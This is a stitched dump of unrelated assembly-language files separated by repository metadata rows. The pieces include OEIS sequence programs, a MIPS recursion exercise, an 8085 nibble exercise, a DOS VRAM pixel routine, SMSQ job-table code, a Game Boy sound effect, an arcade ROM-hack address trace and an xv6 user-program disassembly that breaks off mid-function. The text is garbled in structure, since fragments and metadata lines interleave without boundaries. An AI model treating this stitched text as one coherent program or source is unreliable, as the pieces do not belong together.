!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 170,166,86,255,255,255,255,255
!byte 255,255,255,247,229,170,170,170
!byte 106,106,106,165,85,255,255,255
!byte 94,175,174,175,191,255,255,255
!byte 239,187,255,255,255,255,255,255
!byte 191,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 191,239,239,250,255,255,255,255
!byte 251,239,239,191,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
!byte 255,255,255,255,255,255,255,255
| 37.85548 | 38 | 0.717133 |
42433748d1e440cdc2e31c7131cc31056604161e | 55 | asm | Assembly | data/test_rol.asm | colinw7/C6502 | a79e573e3b16da0d895b18d0081716d9a76e4654 | [
"MIT"
] | null | null | null | data/test_rol.asm | colinw7/C6502 | a79e573e3b16da0d895b18d0081716d9a76e4654 | [
"MIT"
] | null | null | null | data/test_rol.asm | colinw7/C6502 | a79e573e3b16da0d895b18d0081716d9a76e4654 | [
"MIT"
] | null | null | null | LDA #$37
ROL A
OUT A
LDA #$AB
ROL A
OUT A
| 6.875 | 10 | 0.472727 |
825daec50641df89113473dec5c1ed8397626c51 | 819 | asm | Assembly | src/PJ/drivekit/vram/vrampdot.asm | AnimatorPro/Animator-Pro | 6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb | [
"BSD-3-Clause"
] | 119 | 2015-01-10T15:13:50.000Z | 2022-01-24T04:54:34.000Z | src/PJ/drivekit/vram/vrampdot.asm | AnimatorPro/Animator-Pro | 6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb | [
"BSD-3-Clause"
] | 6 | 2015-10-22T20:14:59.000Z | 2021-07-10T03:25:21.000Z | src/PJ/drivekit/vram/vrampdot.asm | AnimatorPro/Animator-Pro | 6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb | [
"BSD-3-Clause"
] | 27 | 2015-04-24T22:55:30.000Z | 2022-01-21T13:54:00.000Z | include vram.i
_text segment para public use32 'code'
assume cs:CGROUP,ds:DGROUP
public _vram_put_dot
_vram_put_dot proc near
vpdp struc
vpd_off dw ?
vpd_bank dw ?
vpd_ebp dd ?
vpd_ret dd ?
vpd_v dd ?
vpd_color dd ?
vpd_x dd ?
vpd_y dd ?
vpdp ends
push ebp
sub esp,4
vboth equ dword ptr 0[ebp]
voff equ word ptr 0[ebp]
vbank equ word ptr 2[ebp]
mov ebp,esp
push ds
mov eax,[ebp].vpd_v
mov eax,[eax].vs_bpr
mul [ebp].vpd_y
add eax,[ebp].vpd_x
mov vboth,eax ;the low 16 bits of address are for real
;but must use the top 3 for bank switching
mov cx,vbank
setbank
mov edx,[ebp].vpd_color
mov ax,PHAR_REAL_SEG
mov ds,ax
movzx eax,voff
add eax,0a0000h
mov [eax],dl
pop ds
add esp,4
pop ebp
ret
_vram_put_dot endp
_text ends
end
| 16.058824 | 56 | 0.67033 |
11d31bf2186557cbd6bc802aa5842df40b0ef9da | 888 | asm | Assembly | programs/oeis/103/A103220.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/103/A103220.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/103/A103220.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A103220: a(n) = n*(n+1)*(3*n^2+n-1)/6.
; 0,1,13,58,170,395,791,1428,2388,3765,5665,8206,11518,15743,21035,27560,35496,45033,56373,69730,85330,103411,124223,148028,175100,205725,240201,278838,321958,369895,422995,481616,546128,616913,694365,778890,870906,970843,1079143,1196260,1322660,1458821,1605233,1762398,1930830,2111055,2303611,2509048,2727928,2960825,3208325,3471026,3749538,4044483,4356495,4686220,5034316,5401453,5788313,6195590,6623990,7074231,7547043,8043168,8563360,9108385,9679021,10276058,10900298,11552555,12233655,12944436,13685748,14458453,15263425,16101550,16973726,17880863,18823883,19803720,20821320,21877641,22973653,24110338,25288690,26509715,27774431,29083868,30439068,31841085,33290985,34789846,36338758,37938823,39591155,41296880,43057136,44873073,46745853,48676650
lpb $0
mov $2,$0
sub $0,1
seq $2,15237 ; a(n) = (2*n - 1)*n^2.
add $1,$2
lpe
mov $0,$1
| 80.727273 | 750 | 0.79955 |
66d8df27d3bbe17f61b050ee44324e2b1fc17b25 | 1,140 | asm | Assembly | AOC/Meus Exercicios/Aula12/exercicio5.asm | joao-frohlich/BCC | 9ed74eb6d921d1280f48680677a2140c5383368d | [
"Apache-2.0"
] | 10 | 2020-12-08T20:18:15.000Z | 2021-06-07T20:00:07.000Z | AOC/Meus Exercicios/Aula12/exercicio5.asm | joao-frohlich/BCC | 9ed74eb6d921d1280f48680677a2140c5383368d | [
"Apache-2.0"
] | 2 | 2021-06-28T03:42:13.000Z | 2021-06-28T16:53:13.000Z | AOC/Meus Exercicios/Aula12/exercicio5.asm | joao-frohlich/BCC | 9ed74eb6d921d1280f48680677a2140c5383368d | [
"Apache-2.0"
] | 2 | 2021-01-14T19:59:20.000Z | 2021-06-15T11:53:21.000Z | .data
n_input: .asciiz "Insira valor de n: "
.text
# Vinicius Gasparini
.globl main
main:
li $v0, 4 # call code para print_str
la $a0, n_input # carregando str para arg da syscall
syscall
ori $v0, $zero, 5 # call code para read_int
syscall
ori $a0, $v0, 0 # a0 = n
ori $a1, $zero, 1 # bit aceso de base
jal dec_to_bin
ori $a0, $v0, 0 # carregando retorno binario para arg da syscall
ori $v0, $zero, 1 # call code para print_int
syscall
end:
li $v0, 10
syscall
dec_to_bin:
slti $t0, $a0, 2 # if (a0<2)
bne $t0, $zero, return # if (a0<2)
ori $s0, $zero, 2 # s0 = 2
div $a0, $s0 # n/2
mfhi $t1 # n%2
mflo $a0 # n//2
mul $t1, $t1, $a1 # t1 = (n%2) * b
addi $sp, $sp, -8 # liberando espaço na stack
sw $ra, 0($sp) # salvando endereço de retorno na stack
sw $t1, 4($sp) # salvando bit na stack
ori $t2, $zero, 10 # t2 = 10
mul $a1, $a1, $t2 #
jal dec_to_bin # dec_to_bin(n/2, b*10)
lw $ra, 0($sp) # recuperando da stack o retorno
lw $t1, 4($sp) # n%10
addi $sp, $sp, 8 # liberando a stack
add $v0, $v0, $t1
jr $ra
return:
mult $a0, $a1
mflo $v0
jr $ra
| 19 | 66 | 0.589474 |
aa0ee22754684a4b9389e43be52888d43bc762b0 | 932 | asm | Assembly | programs/oeis/214/A214092.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/214/A214092.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/214/A214092.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A214092: Principal diagonal of the convolution array A213773.
; 1,23,102,274,575,1041,1708,2612,3789,5275,7106,9318,11947,15029,18600,22696,27353,32607,38494,45050,52311,60313,69092,78684,89125,100451,112698,125902,140099,155325,171616,189008,207537,227239,248150,270306,293743,318497,344604,372100,401021,431403,463282,496694,531675,568261,606488,646392,688009,731375,776526,823498,872327,923049,975700,1030316,1086933,1145587,1206314,1269150,1334131,1401293,1470672,1542304,1616225,1692471,1771078,1852082,1935519,2021425,2109836,2200788,2294317,2390459,2489250,2590726,2694923,2801877,2911624,3024200,3139641,3257983,3379262,3503514,3630775,3761081,3894468,4030972,4170629,4313475,4459546,4608878,4761507,4917469,5076800,5239536,5405713,5575367,5748534,5925250
mov $1,$0
pow $0,2
sub $0,$1
div $0,2
add $0,1
mov $3,$1
mul $3,6
add $0,$3
mov $2,$1
mul $2,$1
mov $3,$2
mul $3,10
add $0,$3
mul $2,$1
mov $3,$2
mul $3,6
add $0,$3
| 44.380952 | 701 | 0.791845 |
3beedd30e52a08b7f907ee5aef1027a33775568f | 136 | asm | Assembly | Practicals/prac7.asm | adi-075/8085-microproccesor-programs | 39e5f604fc4bab441c59df3ab116e5b3e16dd43a | [
"MIT"
] | 2 | 2021-03-20T07:36:57.000Z | 2021-04-03T11:55:40.000Z | Practicals/prac7.asm | adi-075/8085-microproccesor-programs | 39e5f604fc4bab441c59df3ab116e5b3e16dd43a | [
"MIT"
] | null | null | null | Practicals/prac7.asm | adi-075/8085-microproccesor-programs | 39e5f604fc4bab441c59df3ab116e5b3e16dd43a | [
"MIT"
] | null | null | null | ;WAP to disassemble a program(to seperate nibbles)
;code
LDA 2500H
ANI 0FH
STA 2501H
LDA 2500H
ANI 0F0H
RAR
RAR
RAR
RAR
STA 2502H
HLT
| 8.5 | 50 | 0.772059 |
ac0a499343897999fc63e0ca03ba63d0967b0db5 | 362 | asm | Assembly | programs/oeis/094/A094684.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/094/A094684.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/094/A094684.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A094684: Records in A094683.
; 0,1,5,11,18,27,36,46,58,70,82,96,110,125,140,156,172,189,207,225,243,262,281,301,322,343,364,385,407,430,453,476,500,524,548,573,598,623,649,675,702,729,756,783,811,839,868,896,925,955,985
mul $0,2
sub $0,1
mov $3,$0
pow $0,3
mod $3,2
lpb $0,1
add $0,$4
sub $0,1
add $1,17
add $3,2
mov $4,$2
sub $4,$3
lpe
div $1,17
| 20.111111 | 190 | 0.638122 |
e4518dfc1a911ac183cac9c034b8c2cf6277a0a6 | 157 | asm | Assembly | audio/sfx/ball_toss.asm | AmateurPanda92/pokemon-rby-dx | f7ba1cc50b22d93ed176571e074a52d73360da93 | [
"MIT"
] | 9 | 2020-07-12T19:44:21.000Z | 2022-03-03T23:32:40.000Z | audio/sfx/ball_toss.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | audio/sfx/ball_toss.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2021-03-28T18:33:43.000Z | 2021-05-06T13:12:09.000Z | SFX_Ball_Toss_Ch4:
duty 2
pitchenvelope 2, -7
squarenote 15, 15, 2, 1920
endchannel
SFX_Ball_Toss_Ch5:
duty 2
squarenote 15, 12, 2, 1922
endchannel
| 13.083333 | 27 | 0.745223 |
16a801309611ae198041e993ada55eb15d1eb005 | 505 | asm | Assembly | oeis/245/A245392.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/245/A245392.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/245/A245392.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A245392: Sum_{k, k|n} 2^(k-1) + Sum_{1<=k<=n, gcd(k,n)=1} 2^(k-1).
; Submitted by Jamie Morken(s2)
; 2,4,8,16,32,56,128,224,480,856,2048,3200,8192,13656,29920,54752,131072,202104,524288,857952,1939168,3495256,8388608,12918016,33013248,55924056,124631008,222655840,536870912,809850488,2147483648,3579172320,7974270688,14316557656
add $0,1
mov $2,$0
mov $4,$0
lpb $0
max $0,2
mul $1,2
mov $3,$2
gcd $3,$0
mul $3,$4
dif $3,$0
sub $0,1
cmp $3,$2
add $1,$3
lpe
mov $0,$1
add $0,1
mul $0,2
| 22.954545 | 229 | 0.659406 |
05eaf12745236b45b6746e2a3ac4eb54cf567b70 | 4,237 | asm | Assembly | smsq/sms/injb.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/sms/injb.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | smsq/sms/injb.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; Get information on a job V2.00 1986 Tony Tebby QJUMP
section sms
xdef sms_injb ; information on job
xdef sms_nxjb ; next job in tree
xref sms_ckjx ; check job exists
xref sms_ckid ; check job id
xref sms_rte
include 'dev8_keys_err'
include 'dev8_keys_sys'
include 'dev8_keys_jcbq'
;+++
; Information on job.
;***** NO!! If the Job ID passed is = 0, the the routine returns ERR.IJOB with
; d1 set to the ID of the first Job owned by d2. D3 and a0 are both returned 0.
;
; d0 r 0 or invalid job
; d1 cr job ID / next job in tree
; d2 cr job at top of tree / job owner
; d3 r msbyte -ve if suspended, lsbyte is priority
; a0 r base of job
; a6 c p base of system variables
;
; all other registers preserved
;---
sms_injb
exg d1,d2
bsr.l sms_ckid ; check if top possible
exg d1,d2
bne.s sij_exit ; oops
sij_exst
bsr.l sms_ckjx ; check if job exists
bne.s sij_exit ; ... oops
move.l d2,d0 ; keep true top id safe
move.l jcb_ownr(a0),d2 ; ... job owner
moveq #0,d3 ; not suspended
tst.w jcb_wait(a0) ; waiting?
beq.s sij_prior ; ... no
not.l d3 ; yes, set suspended
sij_prior
move.b jcb_pinc(a0),d3 ; set priority byte
lea jcb_end(a0),a0 ; job base
movem.l a0/a1,-(sp) ; save volatiles
bsr.s sms_nxjb ; get next job
movem.l (sp)+,a0/a1
moveq #0,d0 ; set ok
sij_exit
bra.l sms_rte ; done
page
;+++
; get next job id in d1 (top in d0)
;
; d0 cr top job id / 0
; d1 cr current job id / 0 or next job id
; d7 s current job id saved
; a0 r pointer to jcb of next
; a1 r pointer to job table for next
;---
sms_nxjb
move.l d1,d7 ; keep current id
; scan job table looking for first daughter
moveq #1,d1 ; start at 1 (Job 0 owned by 0!)
bsr.s snj_look ; looking for job owned by me
beq.s snj_exit ; ... found
; scan job table looking for next sibling
snj_up
cmp.l d0,d7 ; at top?
beq.s snj_nnxt ; ... yes, no next
move.l d7,d1 ; start at my owner
beq.s snj_nnxt ; ... can't
lsl.w #2,d1 ; index table in long words
move.l sys_jbtb(a6),a0 ; base of job table
add.w d1,a0
lsr.w #2,d1
move.l (a0),a0 ; job address
move.l jcb_ownr(a0),d7 ; my owner
addq.w #1,d1 ; next job
bsr.s snj_look ; look for job owned by my owner
beq.s snj_exit ; ... found
bra.s snj_up ; ... no, up
snj_nnxt
moveq #0,d1 ; no next job
moveq #0,d0
snj_exit
rts
snj_look
move.w d1,a1 ; job number
add.w a1,a1
add.w a1,a1
add.l sys_jbtb(a6),a1 ; pointer to job table
snj_loop
cmp.w sys_jbtp(a6),d1 ; off top of table?
bgt.s snj_rts ; ...
tst.b (a1) ; job exists?
blt.s snj_next
move.l (a1),a0 ; jcb
cmp.l jcb_ownr(a0),d7 ; owned by correct job?
beq.s snj_stag ; ... yes
snj_next
addq.l #4,a1
addq.w #1,d1 ; next
bra.s snj_loop
snj_stag
swap d1
move.w jcb_tag(a0),d1 ; tag in top end
swap d1
moveq #0,d0 ; set Z
snj_rts
rts
end
| 33.626984 | 79 | 0.443002 |
ff9748d5b45e62825986dffbe8c3380a6c6d7740 | 401 | asm | Assembly | programs/oeis/081/A081598.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/081/A081598.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/081/A081598.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A081598: Let n = 10x + y where 0 <= y <= 9, x >= 0. Then a(n) = 7x+y.
; 0,1,2,3,4,5,6,7,8,9,7,8,9,10,11,12,13,14,15,16,14,15,16,17,18,19,20,21,22,23,21,22,23,24,25,26,27,28,29,30,28,29,30,31,32,33,34,35,36,37,35,36,37,38,39,40,41,42,43,44,42,43,44,45,46,47,48,49,50,51,49,50,51,52,53,54,55,56,57,58,56,57,58,59,60,61,62,63,64,65,63,64,65,66,67,68,69,70,71,72
mov $1,$0
div $1,10
mul $1,3
sub $0,$1
| 50.125 | 288 | 0.603491 |
c4c058b54b937ca4dffff327648aa6a7a43b73ba | 497 | asm | Assembly | wof/lcs/enemy/9E.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | wof/lcs/enemy/9E.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | wof/lcs/enemy/9E.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
001590 lea ($20,A0), A0
00558E cmp.w ($9e,A0), D0 [enemy+ 8]
005592 bne $55a6 [enemy+9E]
0055D4 cmp.w ($9e,A0), D0 [enemy+ 8]
0055D8 beq $55ac [enemy+9E]
01229A move.l (A2)+, (A3)+ [enemy+98, enemy+9A]
01229C move.l (A2)+, (A3)+ [enemy+9C, enemy+9E]
01A75E dbra D4, $1a75c
022D64 move.w ($8,A0), ($9e,A0) [enemy+9C]
022D6A tst.w ($82,A0) [enemy+9E]
copyright zengfr site:http://github.com/zengfr/romhack
| 33.133333 | 54 | 0.623742 |
dea5612b558321e2c26ce21ab3af80813ee2cfc1 | 782 | asm | Assembly | oeis/176/A176644.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/176/A176644.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/176/A176644.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A176644: Triangle T(n, k) = 40^(k*(n-k)), read by rows.
; Submitted by Jamie Morken(s2.)
; 1,1,1,1,40,1,1,1600,1600,1,1,64000,2560000,64000,1,1,2560000,4096000000,4096000000,2560000,1,1,102400000,6553600000000,262144000000000,6553600000000,102400000,1,1,4096000000,10485760000000000,16777216000000000000,16777216000000000000,10485760000000000,4096000000,1,1,163840000000,16777216000000000000,1073741824000000000000000,42949672960000000000000000,1073741824000000000000000,16777216000000000000,163840000000,1,1,6553600000000,26843545600000000000000,68719476736000000000000000000
seq $0,4247 ; Multiplication table read by antidiagonals: T(i,j) = i*j (i>=0, j>=0). Alternatively, multiplication triangle read by rows: P(i,j) = j*(i-j) (i>=0, 0<=j<=i).
mov $1,40
pow $1,$0
mov $0,$1
| 86.888889 | 487 | 0.794118 |
845b1657c1c81fc5d51dd085108a38bf6e262a8d | 31,878 | asm | Assembly | userRR.asm | keithczq/p4new | f4171492501f4ae145aa54f9b84593f869b8a847 | [
"Xnet",
"X11"
] | null | null | null | userRR.asm | keithczq/p4new | f4171492501f4ae145aa54f9b84593f869b8a847 | [
"Xnet",
"X11"
] | null | null | null | userRR.asm | keithczq/p4new | f4171492501f4ae145aa54f9b84593f869b8a847 | [
"Xnet",
"X11"
] | null | null | null |
_userRR: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "x86.h"
#include "pstat.h"
#include "user.h"
int main( int argc, const char* argv[] )
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 04 sub $0x4,%esp
exit();
11: e8 8d 01 00 00 call 1a3 <exit>
00000016 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
16: 55 push %ebp
17: 89 e5 mov %esp,%ebp
19: 53 push %ebx
1a: 8b 45 08 mov 0x8(%ebp),%eax
1d: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
20: 89 c2 mov %eax,%edx
22: 0f b6 19 movzbl (%ecx),%ebx
25: 88 1a mov %bl,(%edx)
27: 8d 52 01 lea 0x1(%edx),%edx
2a: 8d 49 01 lea 0x1(%ecx),%ecx
2d: 84 db test %bl,%bl
2f: 75 f1 jne 22 <strcpy+0xc>
;
return os;
}
31: 5b pop %ebx
32: 5d pop %ebp
33: c3 ret
00000034 <strcmp>:
int
strcmp(const char *p, const char *q)
{
34: 55 push %ebp
35: 89 e5 mov %esp,%ebp
37: 8b 4d 08 mov 0x8(%ebp),%ecx
3a: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
3d: eb 06 jmp 45 <strcmp+0x11>
p++, q++;
3f: 83 c1 01 add $0x1,%ecx
42: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
45: 0f b6 01 movzbl (%ecx),%eax
48: 84 c0 test %al,%al
4a: 74 04 je 50 <strcmp+0x1c>
4c: 3a 02 cmp (%edx),%al
4e: 74 ef je 3f <strcmp+0xb>
return (uchar)*p - (uchar)*q;
50: 0f b6 c0 movzbl %al,%eax
53: 0f b6 12 movzbl (%edx),%edx
56: 29 d0 sub %edx,%eax
}
58: 5d pop %ebp
59: c3 ret
0000005a <strlen>:
uint
strlen(const char *s)
{
5a: 55 push %ebp
5b: 89 e5 mov %esp,%ebp
5d: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
60: ba 00 00 00 00 mov $0x0,%edx
65: eb 03 jmp 6a <strlen+0x10>
67: 83 c2 01 add $0x1,%edx
6a: 89 d0 mov %edx,%eax
6c: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
70: 75 f5 jne 67 <strlen+0xd>
;
return n;
}
72: 5d pop %ebp
73: c3 ret
00000074 <memset>:
void*
memset(void *dst, int c, uint n)
{
74: 55 push %ebp
75: 89 e5 mov %esp,%ebp
77: 57 push %edi
78: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
7b: 89 d7 mov %edx,%edi
7d: 8b 4d 10 mov 0x10(%ebp),%ecx
80: 8b 45 0c mov 0xc(%ebp),%eax
83: fc cld
84: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
86: 89 d0 mov %edx,%eax
88: 5f pop %edi
89: 5d pop %ebp
8a: c3 ret
0000008b <strchr>:
char*
strchr(const char *s, char c)
{
8b: 55 push %ebp
8c: 89 e5 mov %esp,%ebp
8e: 8b 45 08 mov 0x8(%ebp),%eax
91: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
95: 0f b6 10 movzbl (%eax),%edx
98: 84 d2 test %dl,%dl
9a: 74 09 je a5 <strchr+0x1a>
if(*s == c)
9c: 38 ca cmp %cl,%dl
9e: 74 0a je aa <strchr+0x1f>
for(; *s; s++)
a0: 83 c0 01 add $0x1,%eax
a3: eb f0 jmp 95 <strchr+0xa>
return (char*)s;
return 0;
a5: b8 00 00 00 00 mov $0x0,%eax
}
aa: 5d pop %ebp
ab: c3 ret
000000ac <gets>:
char*
gets(char *buf, int max)
{
ac: 55 push %ebp
ad: 89 e5 mov %esp,%ebp
af: 57 push %edi
b0: 56 push %esi
b1: 53 push %ebx
b2: 83 ec 1c sub $0x1c,%esp
b5: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
b8: bb 00 00 00 00 mov $0x0,%ebx
bd: 8d 73 01 lea 0x1(%ebx),%esi
c0: 3b 75 0c cmp 0xc(%ebp),%esi
c3: 7d 2e jge f3 <gets+0x47>
cc = read(0, &c, 1);
c5: 83 ec 04 sub $0x4,%esp
c8: 6a 01 push $0x1
ca: 8d 45 e7 lea -0x19(%ebp),%eax
cd: 50 push %eax
ce: 6a 00 push $0x0
d0: e8 e6 00 00 00 call 1bb <read>
if(cc < 1)
d5: 83 c4 10 add $0x10,%esp
d8: 85 c0 test %eax,%eax
da: 7e 17 jle f3 <gets+0x47>
break;
buf[i++] = c;
dc: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
e0: 88 04 1f mov %al,(%edi,%ebx,1)
if(c == '\n' || c == '\r')
e3: 3c 0a cmp $0xa,%al
e5: 0f 94 c2 sete %dl
e8: 3c 0d cmp $0xd,%al
ea: 0f 94 c0 sete %al
buf[i++] = c;
ed: 89 f3 mov %esi,%ebx
if(c == '\n' || c == '\r')
ef: 08 c2 or %al,%dl
f1: 74 ca je bd <gets+0x11>
break;
}
buf[i] = '\0';
f3: c6 04 1f 00 movb $0x0,(%edi,%ebx,1)
return buf;
}
f7: 89 f8 mov %edi,%eax
f9: 8d 65 f4 lea -0xc(%ebp),%esp
fc: 5b pop %ebx
fd: 5e pop %esi
fe: 5f pop %edi
ff: 5d pop %ebp
100: c3 ret
00000101 <stat>:
int
stat(const char *n, struct stat *st)
{
101: 55 push %ebp
102: 89 e5 mov %esp,%ebp
104: 56 push %esi
105: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
106: 83 ec 08 sub $0x8,%esp
109: 6a 00 push $0x0
10b: ff 75 08 pushl 0x8(%ebp)
10e: e8 d0 00 00 00 call 1e3 <open>
if(fd < 0)
113: 83 c4 10 add $0x10,%esp
116: 85 c0 test %eax,%eax
118: 78 24 js 13e <stat+0x3d>
11a: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
11c: 83 ec 08 sub $0x8,%esp
11f: ff 75 0c pushl 0xc(%ebp)
122: 50 push %eax
123: e8 d3 00 00 00 call 1fb <fstat>
128: 89 c6 mov %eax,%esi
close(fd);
12a: 89 1c 24 mov %ebx,(%esp)
12d: e8 99 00 00 00 call 1cb <close>
return r;
132: 83 c4 10 add $0x10,%esp
}
135: 89 f0 mov %esi,%eax
137: 8d 65 f8 lea -0x8(%ebp),%esp
13a: 5b pop %ebx
13b: 5e pop %esi
13c: 5d pop %ebp
13d: c3 ret
return -1;
13e: be ff ff ff ff mov $0xffffffff,%esi
143: eb f0 jmp 135 <stat+0x34>
00000145 <atoi>:
int
atoi(const char *s)
{
145: 55 push %ebp
146: 89 e5 mov %esp,%ebp
148: 53 push %ebx
149: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
14c: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
151: eb 10 jmp 163 <atoi+0x1e>
n = n*10 + *s++ - '0';
153: 8d 1c 80 lea (%eax,%eax,4),%ebx
156: 8d 04 1b lea (%ebx,%ebx,1),%eax
159: 83 c1 01 add $0x1,%ecx
15c: 0f be d2 movsbl %dl,%edx
15f: 8d 44 02 d0 lea -0x30(%edx,%eax,1),%eax
while('0' <= *s && *s <= '9')
163: 0f b6 11 movzbl (%ecx),%edx
166: 8d 5a d0 lea -0x30(%edx),%ebx
169: 80 fb 09 cmp $0x9,%bl
16c: 76 e5 jbe 153 <atoi+0xe>
return n;
}
16e: 5b pop %ebx
16f: 5d pop %ebp
170: c3 ret
00000171 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
171: 55 push %ebp
172: 89 e5 mov %esp,%ebp
174: 56 push %esi
175: 53 push %ebx
176: 8b 45 08 mov 0x8(%ebp),%eax
179: 8b 5d 0c mov 0xc(%ebp),%ebx
17c: 8b 55 10 mov 0x10(%ebp),%edx
char *dst;
const char *src;
dst = vdst;
17f: 89 c1 mov %eax,%ecx
src = vsrc;
while(n-- > 0)
181: eb 0d jmp 190 <memmove+0x1f>
*dst++ = *src++;
183: 0f b6 13 movzbl (%ebx),%edx
186: 88 11 mov %dl,(%ecx)
188: 8d 5b 01 lea 0x1(%ebx),%ebx
